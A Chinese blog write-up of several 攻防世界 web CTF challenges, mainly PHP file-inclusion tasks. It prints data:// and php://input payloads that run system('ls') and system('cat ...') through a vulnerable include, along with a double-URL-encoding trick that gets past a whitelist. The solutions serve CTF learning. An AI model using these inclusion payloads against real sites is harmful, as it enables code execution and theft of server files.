文章目录

  • 攻防世界-web高手进阶区
  • 1、baby_web
  • 2、Training-WWW-Robots
  • 3、Web_php_include (文件包含+伪协议)
    • 1.方法
    • 2.方法
  • 4.ics-06(bp爆破)
  • 4.warmup
  • 6标题NewsCenter (sql注入)
  • 7. unserialize3(反序列化)
    • 7.1Web_php_unserializ
  • 8.php_rce (远程控制利用)
  • 9.PHP2(两次URL编码 )
  • 10.NaNNaNNaNNaN-Batman
  • 11.upload1(一句话木马简单)
  • 12.supersqli(sql注入)
  • 14.web2(解密)
  • 15. mfw(git泄露问题+弱语句)
  • 16. Cat(四星+Django漏洞)
  • 19. ics-05(文件包含 | preg_replace()函数 -> /e漏洞 | 头文件伪造->X-Forwarded-For)
    • 19.1关于文件包含所有总结
  • 20.CTF-lottery[git文件泄露利用+PHP弱类型]
  • 24. bug(五星)(漏洞挖掘 + 伪造本地IP + 文件上传漏洞 (黑名单过滤+文件头检测))
  • 25.Nizhuansiwei(两星+文件包含(伪协议)+反序列化)
  • 26.ics-07(弱类型+文件上传(linux特性绕过)
  • 27. wtf.sh-150(perl网页文件+ARGV上传造成任意文件读取)
  • SQL注入---------------------------------------
    • 6. NewsCenter
    • 12 supersqli(sql注入)
    • 31.unfinish(SQL二次注入)
  • Python模板注入---------------------------------------
    • 18.shrine SSTI模板注入
    • 17. easytornado(Tornado)
    • 13.PHP_python_template_injection
    • 28. Confusion1(request.args.[key]来绕过关键字限制)
  • 综合题目
    • 29. Fakebook(SSRF、反序列化、SQL注入)
  • 30.i-got-id-200(perl网页文件+ARGV上传造成任意文件读取)
  • 23.FlatScience(robots协议 + sqlite注入)
  • 34.favorite_number(代码审计综合)
  • 持续更新

攻防世界-web高手进阶区

提示:这里是记录web的题目,这里我基本不讲很多细节,请自行下载Burpsuite,web题型使用的等等工具。浏览器我使用了火狐浏览器


说明,有的数字没有顺序,我可能是按照CTF题目类型来的,和题目难以来的。

1、baby_web

非常的简单,bp抓包直接把1.php去掉后,就看的flag了。

2、Training-WWW-Robots

非常的简单,点网页进去后,看到了robots.txt进去看到一个可以看到他有一个不允许访问的文件f10g.php,在访就出来了。

3、Web_php_include (文件包含+伪协议)

代码审计

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>

思路
strstr()对大小敏感
str_replace()替换函数
找到输入page,如何找到php://则替换掉。
所以只要绕过strstr()函数,既然对大小写敏感,我们就换成小写。

1.方法

php://input(方式一)

解释
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替
$HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下
$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。不能使用get的

注意: 在 PHP 5.6 之前 php://input 打开的数据流只能读取一次; 数据流不支持 seek 操作。 不过,依赖于 SAPI
的实现,请求体数据被保存的时候, 它可以打开另一个 php://input 数据流并重新读取。 通常情况下,这种情况只是针对 POST
请求,而不是其他请求方式,比如 PUT 或者 PROPFIND。

  1. 造成文件包含漏洞的函数通常有:
    include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
    2.data协议
    用法:
    data://text/plain,xxxx(要执行的php代码)
    data://text/plain;base64,xxxx(base64编码后的数据)
    3.php://协议
    php://input,用于执行php代码,需要post请求提交数据。

Php 代码

<?php system('ls');?>

<?php system('cat');?> 这些都是php的代码

2.方法

data://text/plain

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

data://text/plain,<?php system("ls")?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

提交:data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

4.ics-06(bp爆破)

无厘头,爆破ID 先来一个数字的成功就不找了。
使用BP

4.warmup

知识点
双重编码+url+…/目录方法

解题步骤
看源码之后

发现有提示

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //这里是提示if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>

拿到源码
然后看到提示

if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空&& is_string($_REQUEST['file'])  //$_REQUEST['file']值为字符串&& emmm::checkFile($_REQUEST['file'])  //能够通过checkFile函数校验) {include $_REQUEST['file'];  //包含$_REQUEST['file']文件exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//打印滑稽表情}  

'函数名: CheckFile
'作 用:检查某一文件是否存在
'参 数:FileName ------ 文件地址 如:/swf/1.swf
'返回值:False ---- True

一个if语句要求传入的file变量:
• 非空
• 类型为字符串
• 能够通过checkFile()函数校验
同时满足以上三个要求即可包含file中的文件,否则打印滑稽表情
回到上面checkFile()函数

注释了highlight_file(__FILE__); //打印代码class emmm  //定义emmm类{public static function checkFile(&$page)//将传入的参数赋给$page{$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串echo "you can't see it";//打印"you can't see it"return false;//返回false}if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中return true;//返回true}$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page$page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);//url解码$page$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}

可以看到函数代码中有四个if语句
• 第一个if语句对变量进行检验,要求$page为字符串,否则返回false

• 第二个if语句判断page是否存在于page是否存在于page是否存在于whitelist数组中,存在则返回true

• 第三个if语句判断截取后的page是否存在于page是否存在于page是否存在于whitelist数组中,截取$page中’?'前部分,存在则返回true

PHP mb_substr() 函数

<?php echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>

mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。


• 第四个if语句判断url解码并截取后的page是否存在于page是否存在于page是否存在于whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false

class emmm{public static function checkFile(&$page){//白名单列表$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值if (! isset($page) || !is_string($page)) {echo "you can't see it A";return false;}//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($page, $whitelist)) {return true;}//过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置);//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}//url对$page解码$_page = urldecode($page);//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}
}

可能博客有些地方说的还不够清楚,在这里在说明一下关于payload的问题!!
首先这个地方涉及到一个新的知识:双重编码
比如这题目你将?双重编码的话,经过包含时你包含的文件会被当成一个目录
在自己搭建的一个简单的环境下面举个例子
创建好这几个文件:

1.php里面是本题的漏洞源码
2.php里面是phpinfo();
source.php里面什么都没有,空的!主要为了通过白名单!
flag.txt乱写一个flag~
进行测试:
在漏洞源码中加上,以便观察:

构造号payload后能够很清楚的看见,是成功的,它是当作目录执行的:

同理flag.txt也可以这样得到:

总结
总之,就是双重编码的话,经过包含时你包含的文件会被当成一个目录!!!!
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?‘前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?‘两次编码值为’%253f’),构造url:
http://***

攻防世界-web高手进阶区相关推荐

  1. 攻防世界 web高手进阶区 9分题 favorite_number

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...

  2. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  3. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  4. 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp

    文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...

  5. 攻防世界 web高手进阶区 9分题 bilibili

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是bilibili的writeup 解题过程 进来界面 这尼玛出题人是黑还是粉啊 笑死 看题目意思是买lv6 惯例源码+御剑 没发现什 ...

  6. 攻防世界 web高手进阶区 7分题Confusion1

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的7分题 本文是Confusion1的writeup 解题过程 进来的界面如下 (后来知道是php vs python的意思,也就是给提示跟pyth ...

  7. 攻防世界WEB高手进阶区warmup,NewsCenter,NaNNaNNaNNaN-Batman

    前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 攻防世界专栏:https://blog.csdn.net ...

  8. XCTF 攻防世界 web 高手进阶区

    文章目录 ics-07 shrine( flask + jinja2 的 SSTI) easytornado(模板注入) upload(文件名注入) supersqli(堆叠注入) php_rce(T ...

  9. 攻防世界——web高手进阶区题解

    目录 1,cat (Django,cURL漏洞) 2,ics-05(XCTF 4th-CyberEarth)(文件包含  +  preg_replace函数漏洞) 3,ics-06(爆破id) 4,l ...

最新文章

  1. android开发我的新浪微博客户端-登录页面功能篇(4.2)
  2. html 中ajax 请求没反应,ajax请求数据成功,页面的数据没有加载出来
  3. javascript的self和this使用小结
  4. 什么是javax.ws.rs.core.context? [第5部分]
  5. pytorch dataset读取数据流程_高效 PyTorch :如何消除训练瓶颈
  6. 三羊献瑞c语言编程入门,蓝桥杯-三羊献瑞,
  7. Nginx开启Gzip压缩配置详解
  8. 分享一些很小众但是很实用的软件
  9. FATF发布数字资产反洗钱指南
  10. Spring开发指南0.8版(By夏昕)
  11. 前端开发,测试,后端,该如何选择?
  12. 批处理命令之Start的详细用法\批处理打开IE窗口最大化
  13. MTK Android部分配置修改
  14. SpringBoot结合MyBatis 【超详细】
  15. 两化融合的定义和两化融合如何认定
  16. GD32F130FXP6学习笔记六:cortex-m3系列的ADC初识
  17. 狐友商家怎样运营狐友帐号
  18. 设计模式-备忘录模式(Memento)
  19. Windows10神州网信政府版的配置修改
  20. 机械制造作业考研题目答案分享——加工的表面质量

热门文章

  1. 高德地图 web 端 JS API 遇到的坑及性能优化
  2. win7系统配置简单web服务器
  3. 门禁系统服务器功能配置,多功能门禁系统控制器技术方案
  4. 商户后台返回数据签名错误_定期定额个体工商户如何快速核查申报是否正确?...
  5. 活到老, 学到老, 做到老-----想念导师赵日华
  6. /toplan/phpsms#寄生代理器发送短信
  7. 数学脱式计算在线计算机,六上数学简便脱式计算-20210606002635.docx-原创力文档
  8. 洛谷P4001 [BJOI2006]狼抓兔子(平面图转对偶图)
  9. stust2 hibernate spring 框架复习(一)
  10. 刷新认知,真正走向大众认知的易用性极强RPA产品——影刀RPA